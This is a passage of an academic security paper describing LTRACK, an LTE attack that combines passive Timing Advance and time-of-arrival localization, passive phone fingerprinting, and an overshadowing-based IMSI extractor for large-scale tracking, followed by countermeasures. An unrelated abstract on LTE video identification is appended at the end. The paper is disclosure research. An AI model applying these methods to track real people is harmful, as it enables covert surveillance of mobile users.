the eNodeB. Furthermore, in LTE-Advanced, the UE has an
option to connect to multiple cells at once. Multiple delay
correction information then constrains the victim’s location to
the intersection of the rings. Finally, Roth et al. [32] proposes
an idea of localizing a UE based on times of arrival of uplink

messages, which would allow the attacker to constrain the vic-
tim’s location to an additional 78 meters wide ring around the
attacking device. However, the authors do not provide details,
simulations, or implementation of this proposal.The LTE Po-
sitioning Protocol [2] has been standardized/implemented for
localization in LTE. One supported technology is estimating
the location from the UE with the observed time difference
of arrival (OTDOA) of downlink transmission from multiple
base station in the vicinity. The mechanism of the OTDOA
method is the same as the one proposed by Roth et al.

Our passive localization attack also exploits unciphered
Timing Advance Command and time of arrival of uplink mes-
sages. However, contrary to their work, we transform the
geometry of the problem from a circle to an ellipse. This
transformation enables us to remove the systematic error due
to the course-grained Timing Advance Command. Instead of
having an additional 78m wide ring around the sniffer, we
have a precise ellipse with focal points at the base station and
the sniffer, as drawn in Figure 2.

The most significant contribution of our attack is the actual
implementation and its evaluation in Section 7. Our imple-
mentation revealed the imprecision of the hardware inside the
mobile phones. To solve this problem, we have transformed
the active fingerprinting attack introduced in [37] into an en-
tirely passive attack in Subsection 4.4. Knowing the model of
mobile phones can increase the precision of the localization
by as much as 20 meters. In our work, we do not study the
effects of the radio environment (e.g., multi-path propagation
or shadow-fading) as these topics are orthogonal to our re-
search. For performance reasons, any positioning system has
to account for such conditions. The work in [41] provides
an example how one can use the error budget to compute
the precision of localization system under different channel
conditions.

In this section, we develop this passive localization attack,
provide its mathematical basis and describe its implementa-
tion. The attacker can constrain the victim’s location to two
possible areas as shown in Figure 2 using just one sniffing
device and a base station. The two possible areas are the inter-
section of a wide ring defined by the Timing Advance Com-
mand and an ellipse defined by the time of arrival of uplink
messages. Using two or more sniffing devices results in the
attacker learning the location of the victim. Alternatively, the
adversary can rule out possible locations by cross-checking
with, e.g, a detailed map of the area.

4.1 Timing Advance Command

Multiple UEs connect to eNodeB at the same time. Each UE is
at a different distance. Due to a propagation delay, without any
corrective mechanism, uplink messages would be received
with a different delay. Thus, the eNodeB needs to help correct
each UE’s timing to ensure alignment of all uplink messages
within the resource blocks as observed by the eNodeB.
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Figure 3: Timing Advance is used to align uplink transmis-
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Figure 4: The propagation delay between the eNodeB and UE
is δ, but the received Timing Advance value corresponds to a
distance in the middle of yellow ring. The difference between
these two values is a systematic error ε.

Figure 3 shows a situation where the propagation delay
between the UE and eNodeB is δ. Due to the propagation
delay of the downlink message, the frame synchronization of
the UE is being shifted by δ from the eNodeB’s time. The
propagation delay of an uplink message is again δ. Therefore,
the uplink message arrives at the eNodeB with a delay of 2δ.
The eNodeB measures the delay and signals it to the UE with
a Timing Advance (TA) Command.

The LTE specification [4] defines that the Timing Advance
value is expressed as TA × 16×TS, where TS = 1/30720ms.
TA is the value signalled by the eNodeB. The TA value is sent
as a part of the MAC control element. It is sent unciphered
by the eNodeB on the MAC layer.

The granularity of the TA is therefore TS ×16 = 0.5208µs.
The UE does not receive a more precise value for the propa-
gation delay δ. Given that the propagation speed is the speed
of light, the UE can estimate its distance from the eNodeB
in a range of 78.07m (156.14m divided by 2 because of the
round-trip). Figure 4 visualizes the difference between the

actual distance of the UE and the eNodeB and the distance
the UE computes from the TA Command.

4.2 Times of Arrival of Uplink and Downlink
Messages

Localization attacks based on the time difference of arrival
of a victim’s messages constrain the victim’s location to the
intersection of multiple hyperbolas. The attacker can use the
time difference of arrival between uplink and downlink mes-
sage to define a hyperbola between the attacker and the base
station. In the case of LTE, due to the systematic error intro-
duced in the Timing Advance value, the attacker using this
classical approach ends up with a 78m error. However, we
show how the attacker can formulate the problem using el-
lipses and cancel the systematic error. We define the following
variables to explain the unique localization problem in LTE:

tn the time of the transmission of the downlink subframe n by
the eNodeB. Tge UE tries to send the uplink subframe n
such that it arrives at eNodeB at time tn.

δUE propagation delay between the eNodeB and the UE.
δDLPROBE propagation delay between the eNodeB and

LTEPROBE. We assume this value is known to the at-
tacker since it knows the location of both the eNodeB
and LTEPROBE.

δULPROBE propagation delay between LTEPROBE and the
UE.

δTA time corresponding to the TA value received in the
Timing Advance Command.

ε systematic error TA value introduces due to discretization
of the propagation delay. It is the difference between the
propagation delay and the TA value shown in Figure 4
and its value ranges from −0.1302µs to 0.1302µs. We
know that δTA = 2δUE +2ε.

The attacker measures the time of arrival of downlink and
uplink messages using LTEPROBE with subsample precision.
The attacker uses the reference signals sent with each trans-
mission for the timing estimation. Therefore, the attacker can
collect independent measurements for each transmission and
use a rolling average to smooth out any inconsistencies.

Downlink Message.

Tx at eNodeB tn

Rx at UE tn +δUE
Rx at LTEPROBE tn +δDLPROBE

Since δDLPROBE is known to the attacker, it can compute
tn from the reception time of the downlink message. The
attacker can infer the times of transmission of the subsequent
subframes as tn+k = tn + k, since the subframe length is 1ms.
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Uplink Message without TA Command.

Tx at UE tn +δUE

Rx at eNodeB tn +2δUE
Rx at LTEPROBE tn +δUE +δULPROBE

The UE receives all the downlink messages delayed with
δUE, therefore its synchronization is shifted as explained in
Subsection 4.1. It will transmit uplink messages at time tn +
δUE instead of tn. The Attacker computes tn from the downlink
message. It can measure δUE +δULPROBE from the reception
time of the uplink message by subtracting tn.

Uplink Message with TA Command.

Tx at UE tn +δUE −δTA = tn −δUE −2ε

Rx at eNodeB tn +2δUE −δTA = tn −2ε

Rx at LTEPROBE tn +δUE +δULPROBE −δTA =
= tn −δUE +δULPROBE −2ε

The Attacker can no longer precisely compute δUE +
δULPROBE by subtracting tn because of the error 2ε which
can range from −0.2604µs up to 0.2604µs.

4.3 Localization
In the previous two subsections, we saw two sets of infor-
mation that the attacker can use to localize a victim: Timing
Advance Command sent by the base station on MAC layer
and the times of arrival of uplink and downlink messages
at LTEPROBE. Figure 2 visualizes the attack and possible
locations of the victim’s phone in the environment.

The simple localization attack works by sniffing TA Com-
mands since they are transmitted unciphered on the MAC
layer of LTE protocol. Therefore, TA Command can be
recorded by our DOWNLINKPROBE. Because of the coarse

granularity due to discretization of the TA value, TA Com-
mand localization constricts possible location to a ring around
the downlink sniffer with a width of 78m (yellow ring in Fig-
ure 2).

We saw in Subsection 4.2 how the attacker learns times
of transmission of subframes tn from the time of arrival of
downlink messages. When LTEPROBE receives a Downlink
Control Information with scheduling for uplink transmission
of the victim, it decodes the uplink message and measures its
time of arrival. The time of arrival of the uplink message to
LTEPROBE is:

ToA = tn −δUE +δULPROBE −2ε

By subtracting the subframe transmission time tn, the attacker
gets a time difference of arrivals of the uplink and the down-
link message. The attacker is able to then define a hyperbola
of possible locations with an error 2ε. In our approach we
instead subtract the subframe time tn and add the value leaked
from the TA Command to learn the sum of distances:

δUE +δULPROBE = ToA−tn +δTA

Therefore, we are able to completely cancel out the systematic
error ε from the equation. The measured sum of the two
propagation delays δUE and δULPROBE constraints a set of
possible locations of the victim’s UE as:

dUE +dULPROBE = c× (δUE +δULPROBE)

, where dUE is the distance between UE and eNodeB,
dULPROBE is the distance between UE and LTEPROBE, and c is
the speed of light in the air. This constraint defines an ellipsis
with two focal points: LTEPROBE and the base station.

The location is now constricted to the intersection of a ring
and an ellipsis shown in Figure 2. Using just one sniffer, the
attacker gets two narrow location areas.
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The attacker can significantly improve the precision of TA
Attack by employing multiple LTEPROBEs in different loca-
tions. The final UE location lies at the intersection of multiple
precise ellipses. However, it introduces extra complexity and
increases the cost of the attack.

4.4 Passive Fingerprinting Attack
Hardware Error. There are four hardware devices in the
system: eNodeB, DOWNLINKPROBE, UPLINKPROBE,
and the victim’s UE. All four add a slight timing error due
to the circuit design, length of the cables, antennas, etc. We
assume the hardware error is constant for the specific model
of the device. We have not observed the error changing dur-
ing the experimental evaluation of the attack in Section 7.
Software-defined radios in LTEPROBE are chosen by the
attacker and the base station’s hardware is selected by the
operator but visible to the outside world. The only device the
attacker cannot foresee in the system is the victim’s UE. How-
ever, the attacker can build a database with various phones
and corresponding hardware errors. If it can then identify the
phone type of the victim, it can look up the corresponding
hardware error.

Passive Fingerprinting. To learn the hardware error intro-
duced by the phone model, we modify and extend the attack
by Shaik et al. [37]. This attack analyzes the uplink traffic
and classifies the baseband modem of the phones connected
to the cell. A baseband modem is the chip responsible for
mobile network communication. The attack in [37] uses a
relay base station to decode uplink information; therefore,
this is an active attack. We instead use LTEPROBE to receive
uplink information. Our improvement makes the attack en-
tirely passive, and we show how it can be used for modem
and phone type fingerprinting using the decision tree model.

As a feature vector used in fingerprinting, we use the core
capabilities sent in plain-text with the Attach Request. Each
phone has different capabilities implemented; therefore, these
messages differ significantly.

Figure 6 shows a PCA decomposition of the feature vec-
tor for all the tested phones, excluding iPhones. We can see
that phones with the same modem manufacturer have simi-
lar core capabilities (see Table 2 for list of phones and their
corresponding modem). We do not include iPhones in the
visualisation for clarity reasons, as iPhones are clustered to-
gether far away from other phones. We can see four clusters in
Figure 6. Green are the phones with Huawei modem, yellow
with Samsung modem, and the blue and purple clusters are
Qualcomm phones. Blue phones are older models of phones,
whereas purple ones correspond to recent models. The only
exception is the OnePlus 7T which was clustered with old
Qualcomm phone models. Four models of phones pictured
in the Figure 6 have the same modem: Xiaomi Mi9, Xiaomi
MiX 3 Google Pixel 4, and OnePlus 7T. OnePlus 7T is an
outlier; however, the other three phones still do not have the
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Figure 6: First two components of PCA decomposition of the
feature vector.

same feature vector as they are only clustered closely together.
Therefore, the capability object depends both on the modem
and phone model. Thus, the attacker can learn the exact fin-
gerprint of each phone model.

5 IMSI Extractor

To associate UEs with a unique key and therefore facilitate
their tracing, we propose a new identification attack based
on message overshadowing and LTEPROBE. For message
overshadowing, we use AdaptOver [13], a recently proposed
LTE overshadowing attack. In AdaptOver, the attacker sends
a message perfectly aligned with the base station’s message
timing and frequency, but with up to 3dB higher power, thus
replacing the original with the attacker’s message. To the UE,
the attacker’s messages are indistinguishable from legitimate
messages.

In this section, we show that by combining sniffing on the
uplink and AdaptOver injecting just one adversarial message,
we can get the UE to leak the IMSI. Since each SIM card
has a unique, persistent IMSI number, the attacker perfectly
distinguishes the victim with this attack. Even though the
attack is active, the attacker can choose the granularity of
when it wants to perform the attack as well as only target
specific UEs. Our attack is triggered when the eNodeB sends a
RRC Connection Setup, as pictured in Figure 7. This happens
when the UE goes from an off or idle state to a connected
state (e.g., the phone receives a paging message or needs to
transmit data).

Identification of a Victim. As shown in the Figure 7, the
UE sends an initial RRC Connection Request containing its
TMSI number. However, because the LTE network can change
this identifier at any time, the attacker does not have any
assurance about UE’s long-term identity. Instead, the IMSI
number satisfies this, but the UE does not transmit IMSI in
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Figure 7: The attacker sniffs a Connection Request contain-
ing the UE’s TMSI. After receiving a Connection Setup, the
attacker overshadows the message sent by the base station
with an Identity Request message. The attacker then sniffs
the Identity Response from the UE and learns its IMSI. The
attacker is able to link the temporary identifier TMSI to the
unique persistent IMSI.

plain-text in the usual behavior of the protocol. Nevertheless,
the LTE protocol allows the core of the network to request
the IMSI number at any time (e.g., when the network loses
the TMSI number) by sending an Identity Request.

5.1 Overshadowing with Identity Request

Specified in [5], an Identity Request for the IMSI number
can be sent by the eNodeB without any integrity protection
before the security context is created. Since the security con-
text is not set up before the Service or Attach Request, the
attacker can inject an Identity Request as a response to those
requests. The UE will respond to the Identity Request with an
Identity Response message containing its unique IMSI num-
ber, which LTEPROBE receives. Figure 7 shows the message
exchange. Even though the legitimate base station proceeds
with a connection procedure, AdaptOver sends a message
with a higher power, overshadowing it. Thus, the UE only
decodes the Identity Request that is sent by the attacker. The
base station does not receive the Identity Response sent by the
UE, because AdaptOver also modifies the uplink allocation
during the attack. Overall the attack requires a limited number
of transmissions by the attacker, with only a slightly higher
power than the base station.

It is essential to point out that using Identity Request is just
one concrete approach to how IMSI Extractor can operate.
However, the attacker is not constrained by this and can create
other protocol compliant communication traces, which trig-
ger IMSI transmission in plain-text by the UE (e.g., Service
Reject with cause 9, “UE identity cannot be derived by the

network").
We present the first attack that combines the overshadowing

attack with an uplink sniffing to violate user privacy. Earlier
overshadowing attacks like SigOver [45] and AdaptOver [13]
focused on denial of service.

Stealthiness of Our Attack. To a UE, the message ex-
change with a spoofed Identity Request looks benign. Ac-
cording to the LTE specification [5], a network can start an
identification procedure at any time, even right after it received
an Attach Request or Service Request. Therefore, from the
protocol-level point of view at the UE, our attack does not
raise any alarms. The base station also does not notice any
problems. From the perspective of the eNodeB, the connec-
tion with the UE halted (e.g., due to bad reception at the UE).
For both the UE and the base station, the traces generated
by the attacker’s messages are therefore compliant with the
protocol.

Current detection mechanisms against IMSI Catchers work
by detecting fake base stations [7, 9, 24, 26, 30]. These frame-
works either work by comparing open-sourced locations of
base stations to measured reports by users or special devices,
or by detecting anomalies in the behavior of base stations by
UEs. In case of our attack, these techniques do not work since
a UE connects to a real base station. Therefore, to UEs, the
behavior and location of the cell are legitimate. As proposed
in [12], a signature based anomaly detector with a signature:
“if Identity Request, then attack”, is successful in the detection
of our attack. However, because Identity Requests are also
sent during a legitimate protocol flow, such a solution will
inherently report false positives during legitimate identifica-
tion procedures. Moreover, the attacker is not constrained
to sending Identity Requests to perform IMSI Extractor, as
mentioned above.

As explained in [7,9], other features (e.g., number of neigh-
bouring cells) are considered in most of the anomaly-based
IMSI Catcher catching apps. Evaluating them, our catcher is
not classified as an IMSI Catcher. Therefore, we consider our
attack to be stealthy, at least with respect to existing deployed
and proposed techniques.

6 LTRACK

In this section, we discuss how the techniques that we in-
troduced in Section 4 and Section 5 can be put together to
support large-scale tracking attacks, similar to those described
e.g., in [38]. The goal of such a tracking attacks is to obtain
traces of all users while staying as stealthy as possible.

Figure 8 visualizes a city setting where the attacker tries to
localize users. The attacker uses the passive localization attack
to locate individual users during their connections to base
stations. However, without identification, all the UEs look
the same, and after each reconnection, UEs might anonymize
themselves with a new TMSI. If the user moves along less
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Figure 8: Visualization of LTRACK, tracking attack based on
passive localization and IMSI Extractor. When the attacker
loses track of a victim in a natural mix-zone, the attacker uses
the IMSI Extractor to distinguish the victim from other UEs
in the area.

frequented areas when the TMSI gets updated, the attacker
could still link the two temporary identifiers based on their
locations. However, as an UE enters an area with many other
UEs, this area will act as a natural mix zone. LTRACK solves
this problem by using a combination of passive tracking and
IMSI Extractor, allowing the attacker to distinguish UEs.

In order to launch our attack on a large-scale, the attacker
needs to deploy at least one, preferably two, LTEPROBEs for
each base station the attacker decides to monitor. LTEPROBEs
are placed away from the base stations such that the attacker
can perform the localization attack pictured in Figure 2. We
do not put any restrictions on the attacker in terms of available
funds or access to the locations. The attacker can place its
devices at high vantage points (e.g., skyscrapers or communi-
cation towers). Building such a network of devices is feasible.
Competitor service providers often already have devices (base
stations) at preferred locations, which they can transform into
sniffers. Our attack works in the following four stages:

(i) Communication Recording. The attacker uses
LTEPROBEs to passively record all the traffic on the set
of base stations it monitors. All the uplink and downlink
communication with corresponding arrival times from all
LTEPROBEs is stored in the attacker’s database. All messages
during a UE’s connection to the eNodeB are addressed on
the physical layer by a unique RNTI value as explained in
Section 3, linking the messages together. Moreover, each
connection of a UE to the network starts with an RRC

Connection Request containing the TMSI of the user. The
attacker stores a list of TMSIs observed during the attack’s
execution and links them to the corresponding connections.
To link connections of the same user, whose TMSI changed
during the execution, the attacker runs IMSI Extractor,
described below.

(ii) IMSI Extractor. IMSI Extractor extracts and stores
TMSI-IMSI pairs of the users, linking observed communi-
cation to the unique, persistent identifier of the UE (IMSI)
as explained in Section 5. Once LTEPROBE registers RRC
Connection Request, the attacker checks whether it already
knows the corresponding IMSI to the enclosed TMSI inside
the RRC Connection Request. If the TMSI-IMSI pair exists in
the database, the attacker does not engage, passively records
the communication, and links the communication to the stored
pair. However, if the TMSI has not been seen before, it runs
the IMSI Extractor to learn the IMSI number and stores the
new TMSI-IMSI pair in the database.

(iii) Passive Localization. Finally, the attacker has record-
ings of all the users at multiple base stations under different
TMSI-IMSI pairs. The attacker uses recorded data to get each
UE uplink message’s time of arrival and Timing Advance
Commands sent by the base station. As shown in Figure 2,
each uplink message measurement constrains possible loca-
tions of the user.

Moreover, the attacker runs a passive fingerprinting attack
on the saved recordings of Attach Requests to learn the phone
model. With the model of the phone, the attacker can increase
the precision of the localization attack. Furthermore, since the
attacker stores all the recorded communication, it can retroac-
tively compensate hardware error to increase the precision of
measured times of arrival of an uplink messages for that user.
Therefore, even if the user’s TMSI changes, we will update it
in the database during the subsequent Service/Attach Request.

We can further improve the precision of localization by
choosing more likely locations, e.g., the user probably moves
along the street, not through the walls of buildings. Altogether,
the attacker can visualize the movement of the victim. Finally,
the attacker builds a whole trace of a user’s movement.

(iv) Special Cases. Under certain conditions (i.e., han-
dover), a UE stays connected to the network but changes
the serving cell to a cell with a stronger signal. Then, the UE
disconnects from the old cell and performs a random access
procedure with the new cell. Since it is still connected to
the network, there is no need for a Service Request message.
Thus, the attacker can observe new random access without
a Service Request, and it can match it to a connection that
halted at a neighboring cell. If the localization attack is in
place, the attacker can improve the matching between the old
and new connections based on the location of the UE.

Even if the attacker loses track of a UE, the attacker ob-
serves the UE again during the next Service Request it per-
forms. For example, for an inactivity timer of 10 seconds, on
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Figure 9: Our setup used for the evaluation of the passive
localization and the IMSI Extractor.

average, a UE connects to the network more than once per
minute under background traffic (i.e., a user does not actively
use a phone) [1], which is a usual scenario during a movement
of a person. The attacker can also force a reconnection using
a paging message or a call.

In this work we do not address user deanonymization. Re-
search in this area is already quite extensive and the attacker
can use multiple existing techniques to obtain true user iden-
tities. User traces reconstructed by LTRACK can be used
to identify users [22, 44], for example, based on transporta-
tion routines [25], mobility traces [14, 29, 43, 46], home ad-
dresses [15, 18, 21], who they meet [27, 40], or online geo-
tagged media [17]. [10, 11] show that even coarse spatial and
temporal traces deanonymize the users based on their unique
mobility patterns.

7 Experimental Evaluation

7.1 Experimental Setup

For the experimental evaluation of our attack we used the
setup pictured in Figure 9. It consists of:

eNodeB running on software defined radio USRP N310,
highlighted in the blue color in Figure 9. Alternatively,
we use an entry-grade base station AMARI Callbox
Mini [6] for the evaluation of IMSI Extractor attack.
However, due to its lower grade clock, the timing is inac-
curate. Thus, we do not use it for the localization attack,
where the accuracy is necessary.

LTEPROBE running on two USRP X310 SDRs, highlighted
in the red color in Figure 9. One X310 is used as a
DOWNLINKPROBE and the other as UPLINKPROBE.
There is no antenna connected to the Tx port of the
radios confirming it is a passive device. Both devices are
connected to the Octoclock to share the same clock.

Octoclock model CDA-2990, highlighted in the green color
distributes the same clocking signal to all connected
devices. It takes the GPS signal as input. All connected

devices have the same sense of time. The two sniffing
USRPs are always connected to Octoclock.

AdaptOver running on software defined radio USRP B210,
highlighted with in the yellow color in Figure 9.

UE During the experimental evaluation, we use multiple mo-
bile phones as UEs. The full list of UEs is recorded in
Table 2 and Table 1 in the Appendix.

7.2 Passive Localization Attack

For the experimental evaluation of our localization attack, we
collocated the eNodeB and LTEPROBE, and we varied the
location of UEs. Instead of the location, we estimated the
distance of the LTEPROBE from a UE. In our experiment, we
learn the measurement error of LTEPROBE, which we can
use to quantify the localization error under various dilutions
of precision. Since eNodeB and LTEPROBE are at the same
location, the distance of the UE from LTEPROBE is:

dULPROBE = c× (δUE +δULPROBE)/2

We conducted the experiment with five different UEs:
USRP B210 with srsUE, Huawei P20 Pro, Huawei P30,
iPhone X, and iPhone 8. We positioned the UE in line-of-
sight at six different distances in a long corridor indoors: 0m,
7.5m, 15m, 30m, 45m, and 60m. For each distance and UE,
we reconnected six times to measure the distance over multi-
ple connections. For each distance measurement and UE, we
restarted LTEPROBE at least once to reset the synchronization
errors.

The accuracy of the internal clock without a GPS is
±2.5ppm and ±0.1ppm for the USRP X310 and USRP N310
respectively. This accuracy improves to ±0.01ppb for both
types of devices when the GPS lock is acquired. Since we
could not acquire a GPS lock in our environment, we instead
had both the eNodeB and the LTEPROBE connected to Oc-
toclock, which we use as a proxy to the GPS acquisition in
a real world scenario. Assuming Octoclock provides perfect
accuracy (0ppb), using a GPS locked clock instead of Octo-
clock introduces a synchronization error of merely ±0.02ppb.
This error would translate to an error of 40nm while perform-
ing distance measurement over 1 km. We therefore consider
the improvement of using Octoclock negligible. We did not
use Octoclock to synchronize the attacker’s devices and the
eNodeB.

In our experiment, one data point corresponds to the me-
dian distance measurements during one connection of the UE
to our eNodeB. We do not consider connections for which
we have less than ten measurements. For each UE, there is
a constant hardware error that comes from properties of UE
modem, LTEPROBE radios, and eNodeB radio. We estimate
constant hardware error as a mean difference between es-
timated distances and actual distances. Before plotting, we

USENIX Association 31st USENIX Security Symposium    1301



0 7.5 15 30 45 60

Distance of UE from the Sniffer [m]

0

20

40

60
E

st
im

at
ed

D
is

ta
nc

e
[m

]
Huawei P30

Huawei P20 Pro

iPhone X

iPhone 8

Figure 10: Distance measurements for four different phone at six distances.

remove hardware error from these distance estimations. Fi-
nally, we visualize data points with boxplots for each UE in
Figure 10.

In Table 2, we quantify the constant hardware error for all
the test phones as well. We estimate the hardware error with
a single distance measurement at 0m. We observe that the
hardware error is the same for all UEs with the same LTE
baseband modem. Moreover, all Intel modems have the same
error.

To quantify distance estimation error, we compute errors be-
tween estimated variables (with corrected constant hardware
error) and actual distances. The distance estimation error can
be directly translated into localization error under the ideal di-
lution of precision. We observe that for all mobile phones the
90th percentile error is ∼ 6m. Concretely, the 90th percentile
of the errors are: 5.659m for Huawei P20 Pro, 5.214m for
Huawei P30, 7.238m for iPhone X, and 4.672m for iPhone 8.
For USRP B210 the 90th percentile is 10.474, however, the
performance of B210’s clock is limited without a GPS lock.
Obviously, for lower percentile, the values get significantly
better. Median error is ∼ 2m for phones and ∼ 7m for B210.

One of the problems we observed was an error arising from
the UE not receiving the TA Command. If the UE does not
receive the TA Command, the eNodeB resends it. However,
LTEPROBE receives it twice and applies the command again,
resulting in a mismatch. Since the N310 is not a professionally
graded eNodeB device, its Tx power is lower. We can expect
better performance in the real world. A possible fix in the
future would be to monitor ACKs sent by the UE. LTEPROBE
would then only apply TA Commands that the UE acknowl-
edged. We removed connection outliers that were more than
ten times the interquartile range away from the median point.

Out of 186 connections, we removed 4 data points.

7.3 IMSI Extractor

Since IMSI Extractor is a protocol-level attack, we evaluate it
using an industry-grade base station software by Amarisoft
on the AMARI Callbox Mini hardware [6]. The base station,
the AdaptOver USRP and the Octoclock used GPS clock.

We ran the attack against 17 modern phones for both Attach
Request and Service Request messages. For all 17 phones, we
obtained the IMSI number as a response to the Attach Request.
As a response to the Service Request, we were successful
for all but one mobile phone, iPhone 7. After transmitting
the Identity Response, the UEs successfully connected to
the network. To the user, the attack was not noticeable. The
comprehensive list of phones used in the evaluation and an
example packet capture file from our attack can be found in
Appendix in Table 1 and Figure 11.

Finally, we confirmed our attack and the capabilities of
LTEPROBE against a live network of a national operator. The
setup consisted of a real-world Ericsson eNodeB, connected
to the operator’s production core network, with its antennas
and our attacker devices installed inside a 5×6m Faraday cage.
Therefore, we could run tests against the same configuration
as found in outside cells, without influencing real users.

8 Countermeasures

As shown in [31], it is impossible to mitigate location leak-
age attacks presented in this work unless messages and their
transmission/reception times are fully randomized. Due to the
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highly synchronized operation of LTE, these requirements are
not feasible to be implemented.

Instead, we propose a solution that only requires changes
on UEs and is compatible with the current LTE protocol. In
our countermeasure, UE sends the initial Random Access
message with a random offset. Since UE knows the offset, it
modifies the received Timing Advance Command by adding
the applied random offset. The recorded Timing Advance
value by LTEPROBE is therefore not relevant and using it
in the localization attack results in wrong location estimates.
Our proposal does not mitigate the localization attack, but
increases its complexity and cost. The attacker can employ
more sniffers and infer the random offset UE applies.

We propose three types of countermeasures against our
IMSI Extractor: (i) UE-based countermeasures are deployed
on the UEs and work by observing Identity Requests for
the IMSI number. UEs notify users about incoming Iden-
tity Requests or report to the network an unusual number of
Identity Requests. Reporting to the operator requires trust
in the UEs that they report the numbers honestly. (ii) Net-
work-based countermeasures use a large number of eavesdrop-
pers in the covered area. They compare the eavesdropped Iden-
tity Requests with the ones sent by the base stations. Since
the operators deploy the eavesdroppers, they have access to
all the transmitted Identity Requests. Neither UE-based nor
network-based countermeasures prevent IMSI Extractor but
merely detect it. (iii) Finally, Protocol-based countermeasures
are the most robust and work even against IMSI Extractor
based on other procedures; however, they require the most
extensive changes to LTE, likely unfeasible to retrofit for ex-
isting devices. In 5G, IMSI catching is no longer possible
since IMSI is encrypted using the network’s public key. Thus,
the attacker cannot decode the IMSI.

9 Related Work

The first paper to implement a downlink control channel snif-
fer was by Kumar et al. [23]. The follow up work by Bui et
al. [8] implements a downlink control channel sniffer with
the open-source library srsLTE [16]. We improve on these
two papers with a downlink sniffer that decodes data channels
and reconstructs higher layer datagrams. This allows us to
receive TA Commands on the MAC layer or get a UE dedi-
cated configuration for the uplink channel on the RRC layer.
However, neither of these works implements an uplink sniffer
functionality, which is paramount for LTRACK.

Three commercial sniffers are available. Airscope [39] is a
downlink-only sniffer, whereas Wavejudge [35] and thinkRF
[42] cover both uplink and downlink sniffer functionality.
These products are high price and closed source, so we could
not compare our sniffer to these products nor use them to
mount our attacks.

In terms of user tracking and localization, Shaik et al. [36]
show how an adversary may sniff on paging messages at

different eNodeBs. An operator will first broadcast a paging
message for a particular user from the last used eNodeB. From
this, the attacker learns a coarse location of the UE.

In LTEye [23], the authors extend a synthetic aperture radar
to capture the shortest and the most direct path of the radio
signal from the User Equipment. The users’ location is es-
timated at the intersection of the direct paths, estimated by
multiple radars at different locations.

The closest work to ours (in the context of UE localization)
is the work of [32]. [32] also proposes the use of both Tim-
ing Advance Command from eNodeB and times of arrival of
uplink messages to approximate the geolocation of the UE.
However, [32] does not provide details regarding the measure-
ment of the time of arrival from uplink messages, does not
implement the attack, nor does it bind the obtained location
with the UE identity as we do in this paper. In particular,
in our work, we also increase the localization accuracy by
fingerprinting the phone model and correcting its hardware
error. [32] opted for approximating transmission time of UE
from Timing Advance Command, which introduces a signifi-
cant error. We transform the geometry of the problem into an
ellipse with two focal points, which cancels the large system-
atic error introduced by the Timing Advance Command. [32]
further highlights how their work is successful in a setting
where the UE is in the vicinity of multiple eNodeBs. Having
a single eNodeB close to the victim with a deployed sniffing
device is sufficient in our attack.

[28] show real-world localization attack based on Timing
Advance Commands against WiMax networks. They used a
commercial device, WaveJudge 4900A [35] to perform the at-
tack. They improve the distance estimation of mobile phones
from the base station by using time of arrival measurement.
However, compared to that work, our time of arrival estima-
tion offers subsample precision. [28] further didn’t evaluate
modern smartphones and their corresponding hardware errors.

So far, the primary tool for UE identification were IMSI
Catchers, which rely on fake base stations [19, 36] and are
therefore detectable. Other approaches included triggering
reconnections by forcing the victim’s UE to act, e.g., by send-
ing a WhatsApp or Facebook message [20, 36]. When UE
reconnects to the network, the attacker can infer the model
and make of the device and compare it to the victim’s UE [37].
However, such attacks are primarily targeted against specific
UEs and are not sufficient for large-scale tracking.

10 Conclusion

In this work, we proposed and showed the feasibility of large-
scale tracking of users in an LTE network. Furthermore, we
built LTEPROBE, a robust uplink and downlink sniffer based
on components of srsLTE. The implementation of LTEPROBE
is white-box and does not depend on any costly or proprietary
modules other than off-the-shelf software-defined radios. Us-
ing our sniffer, we were able to devise a tracking attack that
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we call LTRACK. LTRACK improves on the state-of-the-art by
combining Timing Advance Command sniffing and measur-
ing the times of arrival of both LTE downlink and uplink mes-
sages. LTRACK also contains a purpose-built IMSI Catcher
that does not rely on a fake base station but rather overshad-
ows packages with surgical precision and very little energy.
This work is the first to explore UE tracking in a practical
setting and with affordable hardware.
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Figure 11: Packet capture file from IMSI Extractor.

UE model
Identification

Attach Request
Identification

Service Request

Samsung Galaxy s10 yes yes

Samsung Galaxy a8 yes yes

Huawei P20 Pro yes yes

Huawei P30 Lite yes yes

Huawei P30 yes yes

Xiaomi Mi9 yes yes

Xiaomi MiX 3 yes yes

Google Nexus 5X yes yes

Google Pixel 2 yes yes

Google Pixel 3a yes yes

HTC U12+ yes yes

OnePlus 7T yes yes

iPhone 6s yes yes

iPhone 7 yes no

iPhone 8 yes yes

iPhone X yes yes

iPhone 11 yes yes

iPhone 11 Pro yes yes

Table 1: Mobile phones used in the IMSI Extractor experi-
ments.
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Figure 12: Percentage of correctly decoded uplink messages
by our sniffer as a function of the time delay from the start of
a frame.

UE model Modem
Hardware
Error [m] std [m]

Samsung Galaxy s10 Exynos 9820 11.29 7.22

Samsung Galaxy a8 Exynos 7885 -26.62 4.77

Samsung Galaxy s5 Qcom. Gobi 4G - -

Huawei P20 Lite Kirin 659 -24.47 2.13

Huawei P20 Pro Kirin 970 -9.34 2.90

Huawei P30 Lite Kirin 710 -10.27 0.98

Huawei P30 Kirin 980 -24.51 1.49

Xiaomi Mi9 Qcom. X24 LTE 10.44 2.20

Xiaomi MiX 3 Qcom. X24 LTE 11.57 1.60

Nokia 1.3 Qcom. X5 LTE - -

Sony Xperia X Qcom. X8 LTE -11.20 4.78

Google Nexus 5X Qcom. X10 LTE 5.08 2.51

Google Pixel 2 Qcom. X16 LTE -13.52 2.32

Google Pixel 3a Qcom. X12 LTE 4.46 2.14

Google Pixel 4 Qcom. X24 LTE 12.88 1.67

HTC U12+ Qcom. X20 LTE -13.66 1.55

OnePlus 7T Qcom. X24 LTE 12.66 1.42

iPhone 7 Intel XMM7360 -23.86 0.88

iPhone 8 Intel XMM 7480 -23.65 2.28

iPhone X Intel XMM7480 -25.64 3.75

iPhone 11 Intel XMM 7660 -23.19 2.49

iPhone 11 Pro Intel XMM 7660 -25.35 2.46

Table 2: Mobile phones used in the localization and finger-
printing experiments.
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Abstract
A video identification attack is a tangible privacy threat that
can reveal videos that victims are watching. In this paper,
we present the first study of a video identification attack in
Long Term Evolution (LTE) networks. We discovered that, by
leveraging broadcast radio signals, an unprivileged adversary
equipped with a software-defined radio can 1) identify mobile
users who are watching target videos of the adversary’s inter-
est and then 2) infer the video title that each of these users is
watching. Using 46,810 LTE traces of three video streaming
services from three cellular operators, we demonstrate that
our attack achieves an accuracy of up to 0.985. We empha-
